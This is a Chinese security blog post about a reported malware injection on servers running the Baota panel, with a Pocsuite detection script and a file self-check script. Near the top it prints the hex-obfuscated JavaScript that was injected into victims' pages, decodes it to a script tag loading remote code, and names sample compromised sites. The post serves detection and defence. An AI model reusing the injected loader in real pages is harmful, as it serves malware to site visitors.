网传宝塔0day挂马事件—附检测脚本

admin 2022年12月19日10:46:02评论543 views字数 4357阅读14分31秒阅读模式
 目录
1.宝塔挂马概述
2.宝塔挂马检测
3.POCsuite宝塔挂马检测脚本


1.宝塔挂马概述

        宝塔面板疑似出现重大安全漏洞。遭到攻击的服务器,Nginx会自动检测header中accept字段是否包含Gzip。如果包含,则会向目标页面中加入一段JS引用,从而实现恶意挂马。


2.宝塔挂马检测

POC:
GET / HTTP/1.1Host: webmail.zachey.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate

网传宝塔“0day”挂马事件—附检测脚本编辑
   记得数据包Headers携带Accept和Accept-Encoding,不然看不到引入的恶意JS。
网传宝塔“0day”挂马事件—附检测脚本编辑
 
网传宝塔“0day”挂马事件—附检测脚本编辑
挂马JS:
"x67x65x74x4Dx69x6Ex75x74x65x73","x73x65x74x4Dx69x6Ex75x74x65x73","x63x6Fx6Fx6Bx69x65","x3D","x3Bx65x78x70x69x72x65x73x3D","x74x6Fx55x54x43x53x74x72x69x6Ex67","x77x61x66x5Fx73x63","x35x38x38x39x36x34x37x37x32x36","x25x33x43x73x63x72x69x70x74x20x73x72x63x3Dx27x68x74x74x70x73x3Ax2Fx2Fx61x2Ex6Dx73x73x74x61x74x69x63x2Ex6Ex65x74x2Fx6Dx61x69x6Ex33x2Fx63x6Fx6Dx6Dx6Fx6Ex2Fx61x73x73x65x74x73x2Fx74x65x6Dx70x6Cx61x74x65x2Fx68x65x61x64x2Fx61x64x2Ex74x6Dx70x6Cx5Fx61x39x62x37x2Ex6Ax73x27x25x33x45x25x33x43x2Fx73x63x72x69x70x74x25x33x45","x77x72x69x74x65"
HEX解码看一下:
网传宝塔“0day”挂马事件—附检测脚本编辑
 携带了x,解码不好看,这里用之前打CTF的一个脚本:
网传宝塔“0day”挂马事件—附检测脚本编辑
解密脚本请点击此处
getMinutessetMinutescookie=;expires=toUTCStringwaf_sc5889647726%3Cscript src='https://a.msstatic.net/main3/common/assets/template/head/ad.tmpl_a9b7.js'%3E%3C/script%3
Ewrite
解密脚本这里:    
    可以看到远程加载了一段JS。JS代码做了混淆。互联网上已经有师傅详细分析了。这里不做分析,可跳转到末尾见参考文章。
网传宝塔“0day”挂马事件—附检测脚本编辑
并且该域名的JS目前无法访问,挂*梯#子也不行。
网传宝塔“0day”挂马事件—附检测脚本编辑
        12月9号已经有表哥将样提交到了微步。 


3.POCsuite宝塔挂马检测脚本

        从空间测绘角度,目前zoomeye已经做到了对该恶意挂马网站的精准识别。
网传宝塔“0day”挂马事件—附检测脚本编辑
 fofa好像不行唉:
网传宝塔“0day”挂马事件—附检测脚本编辑
        就是数据有点少,这三百多个站点看来是被挂了马的。
脚本来咯:
#!/usr/bin/python3# -*- coding: UTF-8 -*-# Author: afei00123
from pocsuite3.api import requestsfrom pocsuite3.api import register_poc,POC_CATEGORYfrom pocsuite3.api import Output, POCBase, loggerimport ssl
ssl._create_default_https_context = ssl._create_unverified_context
class BTPOC(POCBase): vulID = '0121' version = '1.0' author = ['afei00123'] vulDate = '2021-03-08' createDate = '2021-12-26' updateDate = '2020-12-27' references = ['https://www.cnvd.org.cn/flaw/show/'] name = 'Nginx挂马事件' appPowerLink = 'https://www.bt.cn/bbs' appName = '宝塔面板' appVersion = '''All''' vulType = "guaMa" desc = '''宝塔面板疑似出现重大安全漏洞。遭到攻击的服务器,Nginx会自动检测header中accept字段是否包含Gzip。如果包含,则会向目标页面中加入一段JS引用,从而实现恶意挂马。''' samples = ["http://webmail.zachey.com/", "http://sayfetrip.com/"] category = POC_CATEGORY.EXPLOITS.WEBAPP #zoomeye: "x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73"
def get_headers(self): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0", "Accept-Encoding": "gzip, deflate", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8" } return headers
def _verify(self): result = {} headers = self.get_headers()
try: respon = requests.get(self.url, headers=headers, verify=False, timeout=10) if "\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73" in respon.text: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url result['VerifyInfo']['INFO'] = "您的宝塔面板已被挂马,请使用以下官方脚本登录服务器进行自查:" result['VerifyInfo']['Check Script'] = "n" + '''import os
list1 = ['/var/tmp/systemd-private-56d86f7d8382402517f3b51625789161d2cb-chronyd.service-jP37av','/var/tmp/systemd-private-56d86f7d8382402517f3b5-jP37av','/tmp/systemd-private-56d86f7d8382402517f3b5-jP37av','/var/tmp/count','/var/tmp/count.txt','/var/tmp/backkk','/var/tmp/msglog.txt']sum = 0for i in list1: if os.path.exists(i): sum += 1 print("检测到异常木马文件:",i)
if sum == 0: print("没有检测到异常木马文件!")''' + "n" with open(__file__.replace('.py', '.txt'), 'a+') as f: f.write(self.url+ 'n') f.close() else: logger.info("恭喜您,您的宝塔面板未检测到挂马事件.") except Exception: logger.error(f"connect {self.url} faild!!!") return self.parse_attack(result)
def _attack(self): return self._verify()
def parse_attack(self, result): output = Output(self) if result: output.success(result) else: output.fail('Internet nothing returned') return output
register_poc(BTPOC)
网传宝塔“0day”挂马事件—附检测脚本编辑
 以上脚本就是检测一下,自查脚本官方已经提供:
import os
list1 = ['/var/tmp/systemd-private-56d86f7d8382402517f3b51625789161d2cb-chronyd.service-jP37av','/var/tmp/systemd-private-56d86f7d8382402517f3b5-jP37av','/tmp/systemd-private-56d86f7d8382402517f3b5-jP37av','/var/tmp/count','/var/tmp/count.txt','/var/tmp/backkk','/var/tmp/msglog.txt']sum = 0for i in list1: if os.path.exists(i): sum += 1 print("检测到异常木马文件:",i)
if sum == 0: print("没有检测到异常木马文件!")


盲测:
server=="nginx" && status_code=="200" && country="CN"
fofa盲测了3W个nginx站点,由于fofa上对于宝塔面板的指纹都是后台类:
网传宝塔“0day”挂马事件—附检测脚本编辑
        这里实际跑了三万多个站点,并非10428个。


更多文章请前往:https://blog.csdn.net/qq_41490561



网传宝塔0day挂马事件—附检测脚本
更多精彩内容请关注我们
网传宝塔“0day”挂马事件—附检测脚本

网传宝塔“0day”挂马事件—附检测脚本


网传宝塔0day挂马事件—附检测脚本

往期推荐

网传宝塔0day挂马事件—附检测脚本

ThinkPHP Lang文件包含To远程代码执行漏洞复现—CNVD
[春秋云镜自动化打靶]-Struts2-045远程代码执行漏洞复现C
华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215


原文始发于微信公众号(网络运维渗透):网传宝塔“0day”挂马事件—附检测脚本

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月19日10:46:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   网传宝塔0day挂马事件—附检测脚本https://cn-sec.com/archives/1471937.html

发表评论

匿名网友 填写信息